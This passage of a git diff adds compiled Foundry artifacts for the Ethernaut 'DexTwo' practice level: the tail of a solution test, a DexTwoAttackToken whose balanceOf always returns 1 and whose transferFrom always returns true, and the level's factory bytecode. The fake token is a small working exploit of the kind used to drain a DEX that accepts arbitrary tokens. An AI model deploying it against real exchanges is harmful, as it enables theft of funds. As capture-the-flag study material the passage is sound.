Ethernaut"}},{"arguments":[{"id":60222,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60026,"src":"2217:8:126","typeDescriptions":{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_DexTwo_$51225","typeString":"contract DexTwo"}],"id":60221,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2209:7:126","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60220,"name":"address","nodeType":"ElementaryTypeName","src":"2209:7:126","typeDescriptions":{}}},"id":60223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2209:17:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60218,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2178:19:126","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60224,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2178:49:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60217,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2167:10:126","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60225,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2167:61:126","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60226,"nodeType":"ExpressionStatement","src":"2167:61:126"}]},"documentation":{"id":60154,"nodeType":"StructuredDocumentation","src":"1720:44:126","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"1778:9:126","parameters":{"id":60155,"nodeType":"ParameterList","parameters":[],"src":"1787:2:126"},"returnParameters":{"id":60156,"nodeType":"ParameterList","parameters":[],"src":"1797:0:126"},"scope":60229,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":60017,"name":"Test","nameLocations":["438:4:126"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"438:4:126"},"id":60018,"nodeType":"InheritanceSpecifier","src":"438:4:126"},{"baseName":{"id":60019,"name":"Utils","nameLocations":["444:5:126"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"444:5:126"},"id":60020,"nodeType":"InheritanceSpecifier","src":"444:5:126"}],"canonicalName":"TestDexTwo","contractDependencies":[49101,49275,51447,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[60229,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestDexTwo","nameLocation":"424:10:126","scope":60230,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":126} \ No newline at end of file diff --git a/contracts/out/DexTwoAttack.sol/DexTwoAttackToken.json b/contracts/out/DexTwoAttack.sol/DexTwoAttackToken.json new file mode 100644 index 000000000..b3cd674ea --- /dev/null +++ b/contracts/out/DexTwoAttack.sol/DexTwoAttackToken.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"balanceOf","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"pure"},{"type":"function","name":"transferFrom","inputs":[{"name":"","type":"address","internalType":"address"},{"name":"","type":"address","internalType":"address"},{"name":"","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"pure"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506101298061001d5f395ff3fe6080604052348015600e575f80fd5b50600436106030575f3560e01c806323b872dd14603457806370a0823114605d575b5f80fd5b6048603f36600460a2565b60019392505050565b60405190151581526020015b60405180910390f35b606e606836600460d6565b50600190565b6040519081526020016054565b803573ffffffffffffffffffffffffffffffffffffffff81168114609d575f80fd5b919050565b5f805f6060848603121560b3575f80fd5b60ba84607b565b925060c660208501607b565b9150604084013590509250925092565b5f6020828403121560e5575f80fd5b60ec82607b565b939250505056fea26469706673582212205c66b68cdfe9a70fa4b6cb503e8a38d2b77a446eef23eeecc738467e2f16510964736f6c63430008180033","sourceMap":"64:232:42:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b50600436106030575f3560e01c806323b872dd14603457806370a0823114605d575b5f80fd5b6048603f36600460a2565b60019392505050565b60405190151581526020015b60405180910390f35b606e606836600460d6565b50600190565b6040519081526020016054565b803573ffffffffffffffffffffffffffffffffffffffff81168114609d575f80fd5b919050565b5f805f6060848603121560b3575f80fd5b60ba84607b565b925060c660208501607b565b9150604084013590509250925092565b5f6020828403121560e5575f80fd5b60ec82607b565b939250505056fea26469706673582212205c66b68cdfe9a70fa4b6cb503e8a38d2b77a446eef23eeecc738467e2f16510964736f6c63430008180033","sourceMap":"64:232:42:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;188:106;;;;;;:::i;:::-;283:4;188:106;;;;;;;;;713:14:155;;706:22;688:41;;676:2;661:18;188:106:42;;;;;;;;97:85;;;;;;:::i;:::-;-1:-1:-1;174:1:42;;97:85;;;;1077:25:155;;;1065:2;1050:18;97:85:42;931:177:155;14:196;82:20;;142:42;131:54;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:328::-;292:6;300;308;361:2;349:9;340:7;336:23;332:32;329:52;;;377:1;374;367:12;329:52;400:29;419:9;400:29;:::i;:::-;390:39;;448:38;482:2;471:9;467:18;448:38;:::i;:::-;438:48;;533:2;522:9;518:18;505:32;495:42;;215:328;;;;;:::o;740:186::-;799:6;852:2;840:9;831:7;827:23;823:32;820:52;;;868:1;865;858:12;820:52;891:29;910:9;891:29;:::i;:::-;881:39;740:186;-1:-1:-1;;;740:186:155:o","linkReferences":{}},"methodIdentifiers":{"balanceOf(address)":"70a08231","transferFrom(address,address,uint256)":"23b872dd"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/attacks/DexTwoAttack.sol\":\"DexTwoAttackToken\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/attacks/DexTwoAttack.sol\":{\"keccak256\":\"0xe2b623bb8e68b6126dbc58a4e885b4f21bb16d2660ecf9d1dbb054067612292a\",\"license\":\"UNLICENSED\",\"urls\":[\"bzz-raw://fdf09c56d64e6e9cb42cd7d8df87330322852bbef5fd72b6d3c78d412cd76ba6\",\"dweb:/ipfs/QmZWgP8p9ZR5JV1iracwEXeuTUFH7gWg9Ak3EB9mzNEDVn\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function","name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function","name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/attacks/DexTwoAttack.sol":"DexTwoAttackToken"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/attacks/DexTwoAttack.sol":{"keccak256":"0xe2b623bb8e68b6126dbc58a4e885b4f21bb16d2660ecf9d1dbb054067612292a","urls":["bzz-raw://fdf09c56d64e6e9cb42cd7d8df87330322852bbef5fd72b6d3c78d412cd76ba6","dweb:/ipfs/QmZWgP8p9ZR5JV1iracwEXeuTUFH7gWg9Ak3EB9mzNEDVn"],"license":"UNLICENSED"}},"version":1},"ast":{"absolutePath":"src/attacks/DexTwoAttack.sol","id":49276,"exportedSymbols":{"DexTwoAttackToken":[49275]},"nodeType":"SourceUnit","src":"39:258:42","nodes":[{"id":49250,"nodeType":"PragmaDirective","src":"39:23:42","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49275,"nodeType":"ContractDefinition","src":"64:232:42","nodes":[{"id":49260,"nodeType":"FunctionDefinition","src":"97:85:42","nodes":[],"body":{"id":49259,"nodeType":"Block","src":"157:25:42","nodes":[],"statements":[{"expression":{"hexValue":"31","id":49257,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"174:1:42","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"functionReturnParameters":49256,"id":49258,"nodeType":"Return","src":"167:8:42"}]},"functionSelector":"70a08231","implemented":true,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"106:9:42","parameters":{"id":49253,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49252,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49260,"src":"116:7:42","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49251,"name":"address","nodeType":"ElementaryTypeName","src":"116:7:42","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"115:9:42"},"returnParameters":{"id":49256,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49255,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49260,"src":"148:7:42","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49254,"name":"uint256","nodeType":"ElementaryTypeName","src":"148:7:42","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"147:9:42"},"scope":49275,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":49274,"nodeType":"FunctionDefinition","src":"188:106:42","nodes":[],"body":{"id":49273,"nodeType":"Block","src":"266:28:42","nodes":[],"statements":[{"expression":{"hexValue":"74727565","id":49271,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"283:4:42","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":49270,"id":49272,"nodeType":"Return","src":"276:11:42"}]},"functionSelector":"23b872dd","implemented":true,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"197:12:42","parameters":{"id":49267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49262,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49274,"src":"210:7:42","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49261,"name":"address","nodeType":"ElementaryTypeName","src":"210:7:42","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49264,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49274,"src":"219:7:42","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49263,"name":"address","nodeType":"ElementaryTypeName","src":"219:7:42","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49266,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49274,"src":"228:7:42","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":49265,"name":"uint256","nodeType":"ElementaryTypeName","src":"228:7:42","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"209:27:42"},"returnParameters":{"id":49270,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49269,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":49274,"src":"260:4:42","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":49268,"name":"bool","nodeType":"ElementaryTypeName","src":"260:4:42","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"259:6:42"},"scope":49275,"stateMutability":"pure","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DexTwoAttackToken","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[49275],"name":"DexTwoAttackToken","nameLocation":"73:17:42","scope":49276,"usedErrors":[],"usedEvents":[]}],"license":"UNLICENSED"},"id":42} \ No newline at end of file diff --git a/contracts/out/DexTwoFactory.sol/DexTwoFactory.json b/contracts/out/DexTwoFactory.sol/DexTwoFactory.json new file mode 100644 index 000000000..504289b68 --- /dev/null +++ b/contracts/out/DexTwoFactory.sol/DexTwoFactory.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"createInstance","inputs":[{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"payable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"validateInstance","inputs":[{"name":"_instance","type":"address","internalType":"address payable"},{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6122888061007a5f395ff3fe6080604052600436106200005f575f3560e01c80638da5cb5b11620000465780638da5cb5b14620000b0578063d38def5b14620000ce578063f2fde38b1462000103575f80fd5b8063715018a614620000635780637726f776146200007c575b5f80fd5b3480156200006f575f80fd5b506200007a62000127565b005b620000936200008d3660046200092c565b6200013e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000bc575f80fd5b505f546001600160a01b031662000093565b348015620000da575f80fd5b50620000f2620000ec36600462000951565b620005e6565b6040519015158152602001620000a7565b3480156200010f575f80fd5b506200007a620001213660046200092c565b6200079f565b6200013162000839565b6200013c5f62000894565b565b5f806040516200014e90620008fb565b604051809103905ff08015801562000168573d5f803e3d5ffd5b5090505f8190505f81606e604051620001819062000909565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20310000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e310000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff0801580156200021b573d5f803e3d5ffd5b5090505f82606e604051620002309062000909565b6001600160a01b0390921682526080602083018190526007908301527f546f6b656e20320000000000000000000000000000000000000000000000000060a083015260c0604083018190526004908301527f544b4e320000000000000000000000000000000000000000000000000000000060e0830152606082015261010001604051809103905ff080158015620002ca573d5f803e3d5ffd5b506040517fcbc7854e0000000000000000000000000000000000000000000000000000000081526001600160a01b0380851660048301528083166024830152919250839183919087169063cbc7854e906044015f604051808303815f87803b15801562000335575f80fd5b505af115801562000348573d5f803e3d5ffd5b505060405163095ea7b360e01b81526001600160a01b038881166004830152606460248301528716925063095ea7b391506044016020604051808303815f875af115801562000399573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003bf91906200098d565b5060405163095ea7b360e01b81526001600160a01b0386811660048301526064602483015284169063095ea7b3906044016020604051808303815f875af11580156200040d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200043391906200098d565b5060405163264e889360e01b81526001600160a01b0383811660048301526064602483015287169063264e8893906044015f604051808303815f87803b1580156200047c575f80fd5b505af11580156200048f573d5f803e3d5ffd5b505060405163264e889360e01b81526001600160a01b038481166004830152606460248301528916925063264e889391506044015f604051808303815f87803b158015620004db575f80fd5b505af1158015620004ee573d5f803e3d5ffd5b505060405163a9059cbb60e01b81526001600160a01b038b81166004830152600a60248301528716925063a9059cbb91506044016020604051808303815f875af11580156200053f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200056591906200098d565b5060405163a9059cbb60e01b81526001600160a01b038981166004830152600a602483015284169063a9059cbb906044016020604051808303815f875af1158015620005b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620005d991906200098d565b5093979650505050505050565b5f80836001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000625573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200064b9190620009ae565b90505f846001600160a01b03166325be124e6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200068b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620006b19190620009ae565b6040516370a0823160e01b81526001600160a01b038781166004830152919250908316906370a0823190602401602060405180830381865afa158015620006fa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007209190620009cc565b1580156200079657506040516370a0823160e01b81526001600160a01b0386811660048301528216906370a0823190602401602060405180830381865afa1580156200076e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620007949190620009cc565b155b95945050505050565b620007a962000839565b6001600160a01b0381166200082b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b620008368162000894565b50565b5f546001600160a01b031633146200013c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000822565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a3b80620009e583390190565b610e33806200142083390190565b6001600160a01b038116811462000836575f80fd5b5f602082840312156200093d575f80fd5b81356200094a8162000917565b9392505050565b5f806040838503121562000963575f80fd5b8235620009708162000917565b91506020830135620009828162000917565b809150509250929050565b5f602082840312156200099e575f80fd5b815180151581146200094a575f80fd5b5f60208284031215620009bf575f80fd5b81516200094a8162000917565b5f60208284031215620009dd575f80fd5b505191905056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6109c18061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80638da5cb5b1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b80638da5cb5b14610149578063cbc7854e14610159578063d21220a71461016c575f80fd5b8063264e8893116100ad578063264e88931461010d578063635bc0c214610120578063715018a614610141575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610861565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610861565b61028a565b61013361012e366004610889565b61030b565b604051908152602001610104565b6100db6103f5565b5f546001600160a01b03166100f0565b6100db6101673660046108c2565b610408565b6001546100f0906001600160a01b031681565b6100db61018d366004610889565b61044b565b6100db6101a03660046108f3565b61068d565b6101336101b33660046108c2565b61071d565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610791565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610306919061090c565b505050565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa15801561034f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103739190610932565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d99190610932565b6103e39084610949565b6103ed919061096c565b949350505050565b6103fd610791565b6104065f6107ea565b565b610410610791565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561048f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b39190610932565b10156105065760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064015b60405180910390fd5b5f61051284848461030b565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af1158015610565573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610589919061090c565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af11580156105ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610611919061090c565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610662573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610686919061090c565b5050505050565b610695610791565b6001600160a01b0381166107115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104fd565b61071a816107ea565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa158015610764573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107889190610932565b90505b92915050565b5f546001600160a01b031633146104065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104fd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461085c575f80fd5b919050565b5f8060408385031215610872575f80fd5b61087b83610846565b946020939093013593505050565b5f805f6060848603121561089b575f80fd5b6108a484610846565b92506108b260208501610846565b9150604084013590509250925092565b5f80604083850312156108d3575f80fd5b6108dc83610846565b91506108ea60208401610846565b90509250929050565b5f60208284031215610903575f80fd5b61078882610846565b5f6020828403121561091c575f80fd5b8151801515811461092b575f80fd5b9392505050565b5f60208284031215610942575f80fd5b5051919050565b808202811582820484141761078b57634e487b7160e01b5f52601160045260245ffd5b5f8261098657634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b06b3477cf4b0a293b58d8e5e0116b11e52ae38e1b535652e333e7bfd7f27fd964736f6c63430008180033608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f81815260016020908152604080832060016001